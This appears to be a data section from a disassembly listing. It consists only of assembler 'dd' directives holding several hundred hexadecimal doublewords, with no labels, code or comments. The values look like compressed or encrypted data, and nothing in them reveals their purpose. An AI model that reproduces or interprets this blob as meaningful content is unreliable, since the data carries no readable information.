dd 612CD114h, 0E306C72h, 0F7CDF08Dh, 93CC0C65h, 8A80697Ch
dd 80006FEEh, 30A75D5Eh, 0A441CA8Fh, 702928A8h, 594A1454h
dd 9444ECF1h, 927099D0h, 6B87829h, 0C4F16806h, 286960A7h
dd 302C39FBh, 9818BFC2h, 3E12820Ch, 7C017A0Eh, 8D8047CCh
dd 0C9F95048h, 7C070C38h, 27663321h, 12FBE0E0h, 0A57FF203h
dd 0FCD91E88h, 0F3D59CC0h
dd 45CA2433h, 0C1136410h, 4B11B24h, 98022090h, 0A889DFD1h
dd 8D4E044Ch, 8080527Eh, 0EB013E50h, 0C1518C6h, 62C213D0h
dd 0E958202Eh, 8500EB6Dh, 25AFE3F2h, 9AB056h, 0CE647469h
dd 0F79724FBh, 6C20C0FBh, 0F8836020h, 0DD0A1D18h, 2376C7Dh
dd 70A23E2Dh, 8E988088h, 0C2FFA316h, 629C0627h, 146AEC60h
dd 3395AC80h, 89B8D08Ah, 56BDC111h, 80E1D12h, 0D10DCC84h
dd 983720C4h, 786E2B14h, 7258A20Ch, 9310DA18h, 0F612504Bh
dd 17844AB9h, 0E42184A8h, 10C0B32h, 0B9EB1C74h, 0FCD98FF4h
dd 0BF68373Eh, 609F2050h, 0A72655E6h, 9B8DF449h, 7881F85Dh
dd 0AD93BBBCh, 40A0707Ah, 0A4E83258h, 350B5CC1h, 0E4B38B02h
dd 80B3A4E7h, 8E89DE78h, 4B36FF18h, 0C94ABD28h, 5001C4D1h
dd 359BCE3Eh, 86284068h, 5F042FF2h, 0AB7646E7h, 0C110C2h
dd 0B30CEB14h, 0E880549Ah, 823793D3h, 21C150DDh, 1DD06753h
dd 64F54CE5h, 49D71C50h, 0CA0A082Fh, 0C507A6Fh, 0A5D146E5h
dd 386C1A84h, 0A8442078h, 0B7B838C4h, 0A77D14C0h, 6F802C93h
dd 0FB10B7D4h, 0D8308427h, 0FDBD2802h, 0A9C4AFFh, 0E14040B0h
dd 3A43D6Dh, 14A19CDBh, 48097074h, 0A5E0943Eh, 0A0234754h
dd 0D4EBE12Ah, 28F9452h, 14B006B6h, 10928FBh, 889FB17Dh
dd 0DA0BF0C0h, 0BD1490C9h, 58F892D7h, 28046854h, 0C21F8151h
dd 1607B048h, 80808844h, 95D646Dh, 1F60A22Ah, 0F110B0A2h
dd 3DEDC840h, 0ECB3B878h, 3887C409h, 493D6C58h, 0FC48E4EAh
dd 0EF3D400h, 8E5CCEC2h, 8888C450h, 2A00CC90h, 20AEDA6Fh
dd 1C71CAB9h, 0C92DFCEFh, 0C08087Bh, 5C30692Ch, 0C8C25554h
dd 48C673BDh, 83EAF08Ch, 0D69493B0h, 7B2BD80h, 13D18CC8h
dd 3ACBC3C9h, 0A29F180Fh, 28529619h, 0D1D42C11h, 94417AE8h
dd 584D8427h, 48C08210h, 884A00C4h, 17FB90EEh, 0B78F03A3h
dd 0EDBEA2FEh, 94449003h, 8B4B7AC5h, 3C42A30Dh, 0AA26A09h
dd 6940027Ch, 93510DC0h, 23701D9Ch, 17F9C0F8h, 3193D14Dh
dd 6D283C23h, 0C1DBF009h, 24454A02h, 620AB9FEh, 7F14B008h
dd 0F43024Eh, 81A1162Bh, 15230C1h, 14312179h, 80781824h
dd 1C92816Ch, 0F08F1E26h, 9CF03E84h, 0F895D494h, 822A3C80h
dd 78EF3821h, 0BBE00F80h, 9F444F3Ah, 48CAD700h, 0D2D831CDh
dd 163F00F3h, 9324A276h, 0EC5CA8EBh, 0D03DE38h, 3ADB43C2h
dd 932E8BC0h, 2CE422D5h, 63D8FAE7h, 0A024DA66h, 0CD00483Ah
dd 0FC46B78Eh, 75E0003Ch, 87A815A5h, 4E0034BCh, 0C1E58D03h
dd 4861937Fh, 891E78A6h, 0D7F3812Dh, 209F1EA2h, 0F8DE0A04h
dd 84A83C1Fh, 7BB70300h, 0FD1D48C9h, 0FCDC01A4h, 0CAD1B340h
dd 2E42F027h, 6C259CF8h, 0C4FC0202h, 0F650482Bh, 939F0C10h
dd 8E1011C7h, 45572115h, 0F7CC40B0h, 0C06C8148h, 2067325Dh
dd 46BC48D6h, 0FC6B0277h, 0BD893E56h, 60E57C69h, 0DB0F74A0h
dd 396241Eh, 0E01BB33Fh, 0F008E4C2h, 2F020153h, 0AE161ED9h
dd 8E56D082h, 7C2BBA3Bh, 0B0744079h, 0B3A7760Ch, 3A5006h
dd 0D61EEA04h, 0BB93E0A1h, 19B11760h, 787B00Bh, 5D2C65C1h
dd 3EBD80B9h, 85796E2Ah, 19080891h, 55650005h, 0A9210D54h
dd 0C2244948h, 5348AFA2h, 218C83C8h, 29486C63h, 0ADF40EB0h
dd 641F0F3Dh, 0B0B32216h, 5700444Ch, 0C0B2B4DBh, 0EF20935Ch
dd 4CE201E9h, 0C2F0F6C6h, 9AC87041h, 0D21F6C18h, 2E267368h
dd 0BE48D817h, 5A721812h, 0A0885838h, 874830ACh, 35B84CA2h
dd 0A484B80Bh, 80140490h, 3E882057h, 0FE80A3C3h, 902E859h
dd 0B391AB13h, 1D85D0A0h, 2F60FB6Ch, 1B34F3C0h, 8AFD0039h
dd 24EAE8F4h, 0FB021199h, 2CB273Fh, 767C608Dh, 0F81F908Fh
dd 0C8D00314h, 564ADD0Fh, 6208F840h, 8F234E03h, 9411A2h
dd 0DCC6D5A8h, 0FE728E19h, 0FBDDBC00h, 0B4D1FA40h, 382117CAh
dd 0A2003147h, 0E5CC53D4h, 30F0D0BEh, 44CA8E16h, 41DFD831h
dd 0B08C8845h, 0B0F1EE4Ah, 17E08CB4h, 1F7B886h, 9E6C1258h
dd 7BF0823Eh, 6EAFC43Dh, 93DD09DCh, 34C8039Dh, 0A00686Ch
dd 0E7910467h, 0F852753Bh, 313A90A4h, 0B918771Eh, 0BD7FF80Fh
dd 0A4F1162Ch, 6C148160h, 0CC4DF5B7h, 0DB2C5032h, 600A8FF8h
dd 0D4804109h, 992EA249h, 7C0198A2h, 0F08D30D3h, 0D68069DCh
dd 3A8C2E93h, 0CC80526Ch, 0AB03C5Ch, 0B4D639h, 0C01EB7C5h
dd 0F48852h, 7D205B8h, 33EA5A4h, 7026289Ch, 0E58F8023h
dd 48A2A223h, 99C8A5EEh, 344070C4h, 0DA216391h, 3D84A168h
dd 0C00A4FE8h, 98168C80h, 8468D623h, 3E060828h, 140C5BFh
dd 0F1800A2Fh, 9E269021h, 1D125861h, 1C6BE804h, 0D16C2213h
dd 0F4B402h, 0E3A2204Bh, 0AF38FF69h, 37D60418h, 62313200h
dd 7B7F6C73h, 164284B2h, 0D4521C56h, 0B4DD9309h, 91F6B082h
dd 0D8B04850h, 17DE2720h, 400B9E93h, 0E79F409Ch, 0D4A4528Dh
dd 50615B30h, 91D84CEBh, 376C86D4h, 260910F0h, 0C174F83Eh
dd 6097B2B8h, 0E8CC087Ah, 35B5788h, 0D84F7E8Bh, 0BAB442CFh
dd 11FB58E8h, 0C42A494h, 93D30063h, 6D80DFD6h, 409809A8h
dd 28887AAAh, 90D034D4h, 43EB20Ch, 0C140CF60h, 60DC9345h
dd 0AFB9516Dh, 0FCE188E8h, 81001CFCh, 61D99503h, 9E17937Bh
dd 885E19ECh, 1FA422C4h, 0A8ECCC3Eh, 30C421CDh, 557A8Ah
dd 0FF0F3C29h, 9AA8401Eh, 7BBB4C16h, 9204A400h, 1E614663h
dd 148BD65Dh, 560008BAh, 0D8375FA3h, 2D0FDB71h, 3C1D46Ch
dd 0E13C1A9Ch, 0FBE069FEh, 9697033Eh, 494AC393h, 98DE0EA3h
dd 0A586FA61h, 0B46019B7h, 3BFB8039h, 0CA80DC94h, 0E6E4A96Dh
dd 563E0F9Dh, 4E20378Fh, 8B8AAC1Dh, 0C9F058B8h, 0BBAEF01Fh
dd 0FC0E4F96h, 0CD9BC056h, 0E2ACC5B0h, 7B4A008Fh, 0FE740D7Fh
dd 94353E25h, 0B8D86012h, 80014109h, 0A9499ED8h, 5C9A443Ah
dd 2F0098D4h, 86DB46Ah, 692C6242h, 0D9120427h, 0C5144C20h
dd 0BCA8B907h, 8849D612h, 0E10385E0h, 893D96Dh, 891818DCh
dd 503CACC0h, 0D8D1602h, 414C87A2h, 586D8818h, 27BC02D2h
dd 0C443B6F0h, 482655FAh, 0E4E0010h, 3DDE7EDAh, 0A4606B3Eh
dd 935B62E0h, 7096FD80h, 92871EF9h, 843CCD91h, 885CA240h
dd 3E814090h, 17D9402Dh, 18091098h, 80617223h, 0FE6B2AACh
dd 89840655h, 28DA0B3Eh, 7F76E4B0h, 0CA15380h, 91FB876Dh
dd 0F9EC5008h, 80B9E1E3h, 9A93AF10h, 9EE1F1EFh, 3E208020h
dd 89A4C6EEh, 0B0920FFEh, 48A31630h, 6EF9427h, 86A2DBFFh
dd 0D94AF80Dh, 60979860h, 0F82CF1BDh, 908258C9h, 0F451037Bh
dd 0B570EC4Ah, 8CFE80CCh, 3794F8C1h, 0C430215Bh, 0EF2E1874h
dd 6155182Dh, 83608212h, 94919800h, 0CF3ACA5h, 0E25FA23Bh
dd 0CE3CD160h, 1E5418E6h, 2493D210h, 0BF4AB30h, 382103BDh
dd 4498B5A2h, 0E0D0B1BCh, 30C57F89h, 0DC82BF84h, 369CC670h
dd 0D940AEC7h, 2B445700h, 91FE1FC8h, 0B7ED0188h, 3C93E80Eh
dd 273C23C6h, 0C0C1822h, 84A4909Eh, 0BE020B84h, 70111FD1h
dd 0F3DF10DDh, 45A21805h, 9504A0A0h, 1F93604Ch, 0CE0C8A54h
dd 0F0DB40FEh, 0FB79F02Dh, 0BD2AE980h, 0F186EDC7h, 3C6C130Ch
dd 22C0ACh, 2A25F682h, 18841C67h, 580A70C4h, 7B2C20B6h
dd 0C0C48920h, 0E4208C65h, 0AAAB5E2Eh, 0E6627024h, 0C080B0Dh
dd 6F340FCh, 0B5098413h, 0E6D0FC3Eh, 7BD92C04h, 841427A4h
dd 4EA28888h, 8264775Dh, 0F2F55E6Ch, 24455A38h, 43DC4540h
dd 38708D3Fh, 0AB3E0930h
dd 43BCA0FDh, 686FA7Bh, 4AC8ADD7h, 80A95942h, 887AE0CCh
dd 0F02678B9h, 38B36420h, 1A40C426h, 0C0AEBE6Ch, 12812B90h
dd 88A4BB04h, 6C61A8B4h, 7464A5EFh, 206CB80Bh, 2112C992h
dd 7C0C7560h, 0DE8F39D9h, 0E0E6DB04h, 6CA221E1h, 62C21E24h
dd 0ACC01C13h, 5FDA96D6h, 4A4804FDh, 4AC4E2F7h, 0C1E7000h
dd 0B98E569Fh, 88BF9340h, 3E8065ACh, 2FC240FAh, 0C1B39C0h
dd 868B569Ah, 0E8269242h, 0C14B02ACh, 3850B26Dh, 50871C24h
dd 6C4CA127h, 0F1B7E59Ch, 0DAC761A0h, 22FBE818h, 1EA9BC16h
dd 6B0204BBh, 1330925Fh, 91391B10h, 45A993B8h, 0E55560D4h
dd 0CE42C30h, 28E74AA2h, 0D89D0044h, 0C5C076CAh, 7B0CD331h
dd 0F002182Ah, 5D4890D0h, 2C8E6489h, 2DBAF740h, 76015F8Dh
dd 0ECAF56A6h, 0E4415A0Ch, 69D10ABEh, 51BFE0E3h, 2523014h
dd 2741A418h, 0B95E3800h, 23EE57DDh, 95090040h, 2480638Ah
dd 9C044491h, 4198A2D2h, 50316089h, 88C59060h, 8CBE4CF9h
dd 0E1055859h, 0D90020C4h, 0DC407C94h, 0C2212293h, 3EA28128h
dd 460C46Ah, 90A47D60h, 0D258A09Ch, 0B3A3166Dh, 4813C9h
dd 4F87E5A4h, 0A05EA2E7h, 0BD0CB803h, 8634C184h, 14301083h
dd 0A960409Dh, 0CE2C148h, 0D22503AAh, 9262C379h, 0E5575000h
dd 3E3F9909h, 7FA4BA70h, 257D7889h, 0EC13B7F1h, 0FB3ADFBh
dd 0A80004DBh, 1B065A9Bh, 99F02FBDh, 1E6F9330h, 0AFDB9FDDh
dd 52C05802h, 295AA4C1h, 3E0D5E0h, 0F793D71Ah, 7207F78h
dd 0E1C73A1Ch, 38BBC006h, 96246C4Ch, 26803857h, 0ECE9AA88h
dd 3E7406D0h, 906CBA54h, 25F420C0h, 0D62369A2h, 8B684060h
dd 45B4685Dh, 3EAE8406h, 7580D26Ch, 9CD32612h, 2569204h
dd 0AD90CFACh, 0DBBF9E0h, 0F28690C0h, 9144E2h, 14DB3954h
dd 1F7B67F4h, 0FA1E3892h, 0FECF3818h, 8960A9Fh, 0CFBB3E1Fh
dd 34808824h, 6E2BD2h, 0D780D09Ch, 36BB54C0h, 0FBC44D02h
dd 69E9681Eh, 7C680488h, 0B7A4EB3Ch, 1D38ACC8h, 38126Ch
dd 2F0B4CD8h, 0B72A14DAh, 3C90F45Eh, 44F2CB7Eh, 203EFC00h
dd 0C9C7B303h, 30E49864h, 6291AC8Ch, 0DC9118FBh, 826ACC09h
dd 5AB7AFB8h, 0CA7A451Ch, 30C7B404h, 54F58FE5h, 1D3E802h
dd 0F4EACAFFh, 8AE2017Eh, 82253D06h, 0F51005EDh, 0B794BFF8h
dd 5307EDD1h, 0ADB3E38Ah, 0F0286EDh, 825C2535h, 690D1AF4h
dd 8051442Ah, 525F551Eh, 0C786D2EAh, 7ED83216h, 5D0E4ECCh
dd 252D8A1Eh, 52EF634Dh, 79F867E4h, 557C20F2h, 10ED025Bh
dd 9D345F80h, 3BC68C64h, 34289726h, 6186C482h, 881D8806h
dd 33FE228h, 398C6958h, 4A94E310h, 6C09BB00h, 55021D1Bh
dd 208D68DFh, 4E8394FDh, 6A43509Fh, 64E90C07h, 0ECC72A15h
dd 712652E1h, 31EA31C0h, 5532EE2Bh, 54C8FD60h, 34064A48h
dd 63218B4h, 24630FEAh, 0B9585716h, 0B8546C5Eh, 0BA8AC30Ch
dd 33D600BCh, 0E4C25272h, 0CC008206h, 80196535h, 0C45AD0EAh
dd 4A03C663h, 8C1C8D88h, 0A678EB9h, 0EA9DE105h, 9E8FDCDAh
dd 2960B3BFh, 87E7822Eh, 2C56451Dh, 0E6FC781h, 0C831910h
dd 281E7BC5h, 164DF7E0h, 0EFF54750h, 1F5EBA0Ch, 0ABB0C7Fh
dd 8A75CD13h, 0AB2D15D9h, 0F8565B0Ch, 7EB85EBCh, 80C0DD03h
dd 0D5702AD6h, 0A70ADC56h, 51C2D4E4h, 20687B9h, 0E014EAC1h
dd 8C030A22h, 0BA69250Dh, 0D62F9694h, 5201E1E6h, 2350C058h
dd 0B5406FD7h, 640D4FE3h, 159092C9h, 4EC89E51h, 525D003Ah
dd 1574F4BAh, 0CF322300h, 0E7EA565Ah, 5920CE0Dh, 89C905CAh
dd 43307D2Ah, 0B8031F56h, 19EA6069h, 66A855ECh, 0C2E8E6CDh
dd 0EF39C916h, 9B5204h, 0EE8168B6h, 7966C927h, 8A9F941Bh
dd 901929BBh, 15949FEDh, 0D5BC0299h, 4075EF04h, 0A0406802h
dd 50F844FEh, 0F3FEA5D4h, 0DBC785C2h, 0FFC7D603h, 2A058834h
dd 0E8B0A3D7h, 3309FE0Bh, 8C5F08EAh, 49F07E55h, 133BFCE8h
dd 53646980h, 317DB819h, 0FFECF63Ah, 0C7CA83C6h, 0B05AF089h
dd 4851F4F8h, 0AF4593EAh, 0C042D5D8h, 1BB6EBCFh, 70ED404Ah
dd 65067E51h, 0E3F8EA74h, 6A8BEA50h, 92100ADBh, 6D822752h
dd 0FE7EBBA0h, 0EA570D50h, 5ECA21EEh, 0F8BC9167h, 946913C7h
dd 0A66FAF2Ah, 0D5F10CAFh, 538F085Eh, 7CF8EDE6h, 653D5BD0h
dd 3681693Ah, 8F53715Ah, 8225005Fh, 9A7648F0h, 0F8482A38h
dd 408413Ch, 30332615h, 6E06D701h, 1B0EEA6Bh, 0FB2E1687h
dd 823EF45Eh, 5E657ECFh, 0F10C841Bh, 1E354615h, 4ED44F6h
dd 7069FAF8h, 0E86B9341h, 6057D694h, 4B5B3B00h, 845AC902h
dd 5146C4E9h, 7E690310h, 0AF6AAF36h, 984A4852h, 0F981C01Fh
dd 5C674C2Dh, 59C3890Eh, 29A36381h, 8CE515D1h, 69C3A715h
dd 5D4158C2h, 82E2CCD6h, 13844DF5h, 22008806h, 50EC815Dh
dd 0C9514FEAh, 8880E33Bh, 0FD31F1C0h, 7779397Eh, 26F91DD4h
dd 0F46A15BAh, 24730408h, 0F20B4914h, 5BA57C0Ah, 49EAF009h
dd 69F12154h, 806335AFh, 3E172478h, 74B96079h, 4003734Ah
dd 48D6102Eh, 0EAC8E81Ah, 0F14D49D1h, 89DFF29h, 69051E21h
dd 83327CC5h, 9814C4BAh, 3FE7021Ah, 6FEA3099h, 5DF79048h
dd 5B02250Fh, 0C193E781h, 0C7600637h, 646AEA16h, 0C9B9269Ah
dd 23A840F1h, 651EBC5Bh, 5039C302h, 5488C08h, 88538992h
dd 1590EE08h, 551BD110h, 0F903E022h, 54ADC0E1h, 875CB403h
dd 2D3F7D4h, 0EACCFF08h, 43668BB5h, 0DD695103h, 0F11E0A1Dh
dd 1C9450A2h, 917B8289h, 231088CEh, 7F096987h, 2672B4Bh
dd 40AE006h, 0C596C456h, 0C78365Dh, 5D0D609Ah, 7D740C69h
dd 1DF8534h, 4416140Fh, 742A2FEAh, 0C8CBF229h, 0BFA4247Ah
dd 4004F5CCh, 0A02BC77h, 232342Ch, 1F7160D9h, 5060820Eh
dd 393F3B0Dh, 5EEF0F48h, 7DB7E557h, 0E30B485Eh, 4C24163Ah
dd 0C28E3227h, 17A7E6EBh, 3FBDB056h, 5E60390Dh, 0E7EB19DEh
dd 608A62F9h, 0AAC0DFF8h, 63B48BAh, 0C7097E54h, 6FBF41h
dd 0D17CFC7Ah, 0E8C2131Dh, 3E2C0008h, 0D262BA32h, 0FE10F060h
dd 0B8B62A73h, 0FAFF49D0h, 28B7ED01h, 0D881463Ch, 6A001A56h
dd 14F75571h, 61E8E924h, 8F5A2A5Ch, 0A3BFE704h, 14017B3Bh
dd 0C7886134h, 0F8D05058h, 7F223068h, 241C891Ah, 0E9451CDFh
dd 20D054EEh, 72B4C1Dh, 0AF78170h, 4755437Eh, 6183DFB1h
dd 2618823Bh, 40298D32h, 66D10D7h, 97E94DD2h, 0F6244440h
dd 21BFCD1h, 8966810Eh, 0F7689885h, 0E93E4361h, 101D328Ah
dd 60CC5345h, 200E52h, 805A66D4h, 0E4C001ECh, 0F4060276h
dd 8BE588E7h, 44E9104Ch, 0FA097A43h, 8028585Bh, 66D0304Fh
dd 228DA38Bh, 89300484h, 0FD6C363Ch, 2490E3FFh, 4112A60Ch
dd 0CF6DB83h, 59D86CDDh, 5D64E917h, 81145C2Ch, 87341DEFh
dd 34A5835Eh, 10EB6618h, 1EB56818h, 8D3AC609h, 8067116Dh
dd 478CBA9Ch, 1F8112B6h, 0C35819CAh, 6039E905h, 4A263Eh
dd 214238C2h, 3DD5096Eh, 0C500455Ah, 38019BBh, 82E7B0E9h
dd 2C3832Ch, 8BAA8687h, 0D36630B8h, 0CCE99CCCh, 35F2D660h
dd 0F8CE3977h, 58C60629h, 0B734875Ah, 9B5492CAh, 924AE984h
dd 5152331Eh, 8BE109C9h, 87D78944h, 0F2ECFA4Ch, 8BC45083h
dd 0BA784047h, 0B0566F3Fh, 4E44BE75h, 0F70818C9h, 50E904D2h
dd 0E08999A8h, 9768560Ah, 0E961BD27h, 10842AC9h, 8241B450h
dd 0A0B8529h, 664F2770h, 0F0A19A8h, 5E1C7709h, 5CE55A2Ch
dd 0F9C504F4h, 0D55D81E1h
dd 12354188h, 5C1F105Ah, 8862F068h, 0AC077BEDh, 0C7835253h
dd 1541FECh, 4711CDF1h, 0D1A0201Eh, 97E358h, 5F162028h
dd 2AE9DE01h, 839B7E0Ch, 10C3C1h, 3904BE95h, 0DEF740F8h
dd 4800ACB8h, 1A9F4A4h, 505EF3h, 0D27830B8h, 2F0EE968h
dd 0C8BD46C0h, 0A0737959h, 484CEFFAh, 6101055h, 61680A58h
dd 90689E31h, 6009BD68h, 559F806Fh, 0D10BCBDh, 0E5D161B6h
dd 0F73F44Ch, 4F0C1E6h, 83A161E7h, 3559E418h, 960C002Ch
dd 293C513Eh, 0CAE65DEAh, 62EDC1A0h, 788CC44Ch, 56E9590Ch
dd 2458723Eh, 0C944C29h, 0AE084481h, 0AD75005h, 0F95403E9h
dd 0B71C2AB8h, 89530215h, 1F69A2h, 50A1BEADh, 947052E2h
dd 3AF90129h, 0CBDD06B0h, 9D3D4BAFh, 0BA09236h, 2097A960h
dd 0C14C0C4Fh, 3DB202EAh, 5F400E04h, 0DEC2F181h, 0AA9C4097h
dd 605C8186h, 83908BCFh, 6B89F980h, 9D4E50D1h, 806EB94h
dd 0E55CFE9h, 0C3E415Ah, 33107AFCh, 314D2D90h, 5C73104Fh
dd 0D830AC01h, 0ED74B252h, 875A349Eh, 6ABD2C49h, 0AE34872Eh
dd 7E053203h, 15EC03Ch, 0F48DA0C8h, 13AF052Ah, 0F03E6C1h
dd 28E5648Eh, 0CE090018h, 770B6BBEh, 249F0881h, 3132C082h
dd 595EF029h, 82120548h, 8A74FF50h, 65BC88D5h, 415A0584h
dd 526B330Ah, 0D10700Dh, 5B5415F4h, 4A94A497h, 5F5A48C1h
dd 0B6A2B702h, 800417ACh, 9C304183h, 59CEE1C1h, 125AF0D8h
dd 510D43E9h, 5314472Fh, 10E62BBh, 4D72E9D8h, 416AF613h
dd 35D454FCh, 510B4356h, 220C8BC1h, 0C18114F4h, 0E9797927h
dd 0C6A6877Fh, 0F36ACBF2h, 4C038440h, 0DAAA805Eh, 89216840h
dd 0B0DFE4C3h, 0F8210939h, 4384FF5Fh, 8E238081h, 277A992Bh
dd 3DEE04B2h, 9D250983h, 0CE885966h, 0A0FE1D56h, 0DE2E21F6h
dd 8703715Bh, 0CF05941Eh, 7DE95FF0h, 0C5ACA990h, 33060809h
dd 316C2690h, 0A45C0D06h, 99E9310h, 0DD03CD01h, 7805E4F5h
dd 6E04E2B0h, 20A8C014h, 314B7626h, 0F7336822h, 4D9B365Eh
dd 32B04876h, 19C28D10h, 24D10414h, 58002906h, 0A191C481h
dd 0A21F18Dh, 0BBF13A5Dh, 4882E655h, 8A1E882Eh, 55201222h
dd 68660F6Bh, 0F42638CDh, 5B7F120Ch, 0C8D7534h, 0D201194Ah
dd 5C606329h, 18C8BF0Fh, 5D197C68h, 29803F09h, 0A94EC5D9h
dd 0EE0192E7h, 25F04FE1h, 7046F60Ch, 68205C9Ah, 20369877h
dd 8AA086D8h, 52E1ABCh, 80EC334Ah, 1DEF00B8h, 0D8F727E7h
dd 4F036F35h, 0C33137A7h, 7859C58h, 0CFE6E200h, 12DD866h
dd 4D93458Dh, 4005F001h, 0C0095E07h, 2B850F09h, 99A5A87Dh
dd 113C5B01h, 23248943h, 0CF5444DEh, 0B10ED0Eh, 97E7C326h
dd 0E009B258h, 2C729CEBh, 185E6CD4h, 0C62D2E82h, 5BB77509h
dd 83D10401h, 36339F83h, 0D0631F6h, 29A5C58h, 3D2744BAh
dd 0B9FC121h, 89EA7183h, 42E2DB31h, 1C2D1640h, 6CEF8326h
dd 3B70BD00h, 0AA6BE933h, 43FE02AFh, 0CB870058h, 8C0D9F7h
dd 6A4EF381h, 6029EA3Ch, 0E9C692D8h, 0B49A84E0h, 4352C0Fh
dd 2A7F4663h, 8EF20F7Dh, 887A6566h, 45B0BE83h, 6B978600h
dd 0D6295E28h, 0C589585Ah, 1B9E90Ch, 0C80CE23Bh, 2E790367h
dd 0FCDB1F84h, 5AD3C987h, 0CDE96BA2h, 0C2883568h, 25FBD1E4h
dd 9707A0FCh, 7EAE3990h, 49426E22h, 4A9F9DE2h, 0BBE024C4h
dd 883BBC1Ah, 0FB891E10h, 74F1E5A1h, 0CD77FEC6h, 52F72624h
dd 0D33CC794h, 91EFE10h, 105DEF29h, 8090ADDDh, 0B590FE88h
dd 8324E492h, 8F2AEFC0h, 7FE7B900h, 0F1314469h, 0D4EFA05Eh
dd 460C0B06h, 9EA8D121h, 0D9EF636Eh, 6EA14B5Ch, 0A6E66F8Eh
dd 0B11AF2B4h, 70FC0310h, 95EF29B3h, 31BA8E73h, 0BAE90C83h
dd 24565534h, 0CFA45E54h, 1CFC19DCh, 29877051h, 50980A8Bh
dd 15CC15B0h, 0F639CD58h, 5FC80B7h, 370984CBh, 8CC3E05Fh
dd 654BE468h, 0E9B18F37h, 688EEE50h, 3DE696B6h, 5948224Ch
dd 217F1EA6h, 440C6A5Fh, 58FE1828h, 0D1271C8h, 54F83145h
dd 80168858h, 64B81533h, 7AF07010h, 3951BB00h, 0C787BD30h
dd 0E5354CC2h, 2E495F03h, 85B72924h, 520818EDh, 8007BBAh
dd 0D501564Fh, 92EB295Ah, 515D0B04h, 7932E189h, 9F2A060h
dd 0A9380724h, 964B3000h, 0B0D3F754h, 13321CDCh, 1A6C60h
dd 2E056A3Bh, 0ECDCCB01h, 0A73372C5h, 8EC3C300h, 0FE8048C8h
dd 0BEE93FD9h, 20763659h, 29245432h, 220771DAh, 8239FD64h
dd 1D086A9h, 2002EFC1h, 6F5818F6h, 1C8B85E7h, 474BCB75h
dd 38E98CE9h, 40D40B2Dh, 0B186663Ch, 0C31E2727h, 245868h
dd 0BC8255EBh, 0A2C1C230h, 0B9A1807Eh, 49651E19h, 50BADEF7h
dd 7A582C8Eh, 58581210h, 1F3B6810h, 714CF021h, 178080EDh
dd 1E665BCBh, 0D33F38E8h, 7B0F9127h, 8BF5EBC7h, 5810DE0Dh
dd 0A1925483h, 0D6964B99h, 56EF230Dh, 81B83241h, 99FE37B4h
dd 0C2EE70Dh, 0BD6AD952h, 0CC738F51h, 9287FE40h, 8D959601h
dd 2168E5EFh, 742CE9CCh, 859CBBC1h, 51D97A0h, 0C3AEC630h
dd 0AB5AF30Ah, 0A6098A28h, 20FE4CE9h, 3F91BEC2h, 4B537BA1h
dd 66FA01F9h, 6002B60Fh, 0C4E07C9h, 5FE9F742h, 29FA0C64h
dd 7C283713h, 0A5EC401h, 86038BBh, 147A09CAh, 0D78A666Ch
dd 23090C13h, 0EE01FA26h, 0D1892F63h, 3FE345E9h, 0F6034E84h
dd 625C1350h, 2540C09h, 912F0229h, 0C220EA87h, 9176882Dh
dd 383A8149h, 3420572Bh, 507A205h, 0EB88E7EDh, 3A451234h
dd 138501F2h, 0ED0F4D68h, 44DC385Dh, 0A8A15AAAh, 4128F71h
dd 52590036h, 487E6850h, 0E9C54112h, 5B040E5h, 0DA53A3Eh
dd 3FA23501h, 0C2019087h, 0A509CF54h, 29CA99Dh, 40781BB1h
dd 803ABCA3h, 0C119DDF7h, 830A07E5h, 10934421h, 0A40D0008h
dd 9A71D59h, 185DEB3Eh, 4BE07E3h, 0FE3F0977h, 0AB23DE89h
dd 12F4A2E9h, 723A0801h, 0F68E4B61h, 45A62FA5h, 3960B45Dh
dd 0B35AB124h, 6A6AFE0Ch, 643F9CE2h, 5805A534h, 0D360663Ch
dd 93E99C08h, 9632D0CEh, 51D610h, 711189B9h, 1350BB39h
dd 5338F854h, 0EEE75F2Dh, 0C8A53C30h, 0DCC7D71Ah, 0F1930113h
dd 0BD690E5Fh, 25A91E2Bh, 14A3500h, 289006A6h, 0A2D06F04h
dd 8EC12903h, 8024EE31h, 254CB056h, 0A912C681h, 8CC00629h
dd 0F849ECE9h, 0FC6C300Eh, 7DB71E55h, 68E35968h, 12BE164Bh
dd 0F256D7B8h, 0E9021342h, 0D9EA0A7h, 0DE651Bh, 70F22509h
dd 160568E4h, 58BC6201h, 932DD0F7h, 267E7FC8h, 946C501h
dd 38E836F8h, 524CDE87h, 553025Eh, 8FBA341Bh, 2996C2D9h
dd 0EACF60CAh, 363C133Ah, 1B7D46Ah, 65246680h, 0A9283041h
dd 113ACA13h, 215A3E05h, 0E9C1EB80h, 0E2685107h, 0F9C4CC3Ch
dd 7E2DCE88h, 18555888h, 2630A9E9h, 300ADBDh, 57BA0C43h
dd 0C0F3BCFCh, 451F6192h, 0A0ED0171h, 0E9260882h, 6885A892h
dd 0D0A25BA8h, 690ABF00h, 0EF81108Ah, 7C4C380Bh, 0D965806Ch
dd 711E3054h, 17ED904Dh, 9607AE7h, 44A41B11h, 7D388154h
dd 0F0654845h, 24684240h, 67D064CFh, 0C9E54455h, 172CA4D2h
dd 5812966Ah, 968EFA37h, 6C5A5CC2h, 7ACF82BCh, 0A9B349Ah
dd 8119805Fh, 0B012CEF1h, 6A12D467h, 0E92E4E09h, 809E0C84h
dd 4FACA54h, 9744257h, 994D41C4h, 7042400Bh, 0BE7817B2h
dd 93F2A0Ch, 83155853h, 6857D100h, 507810C0h, 17B3B05Fh
dd 4714E903h, 72E0B060h, 0CD526B52h, 9A44C30Ch, 19A00C4Ah
dd 86255018h, 0D8C0056Ah
dd 48474513h, 1A7F737Ch, 5A61E540h, 50F7B187h, 0E93DF816h
dd 318AD954h, 0B733B0CCh, 0F0285849h, 4BD20492h, 0A2BD0E54h
dd 0E027C40Bh, 1D10E369h, 0B2C13996h, 0DBA0ABB2h, 1E2DFE05h
dd 0EE32E77Ah, 61561423h, 46E64255h, 0E5B13DC1h, 0DB491618h
dd 272C0DE3h, 0EB0B38B3h, 0D4190074h, 325BDD31h, 6898E801h
dd 7C4BE00h, 8903157Bh, 5E2BB6F1h, 0C9023BF3h, 530B3E64h
dd 2743EC80h, 0E91349F2h, 6E47147Ch, 315FAD1h, 94DF8DA4h
dd 150225D2h, 0EA60575Ah, 0B8833570h, 4881E789h, 0E0C439C7h
dd 6310948h, 0F6063384h, 16ACBA27h, 4AE1F65Ch, 0A7F6CCB5h
dd 305B0832h, 3DAE6880h, 96581697h, 51500B5h, 7ED5E94Eh
dd 0CBBF75C6h, 0DFF728A6h, 0D10439E9h, 990EBDC8h, 296086B7h
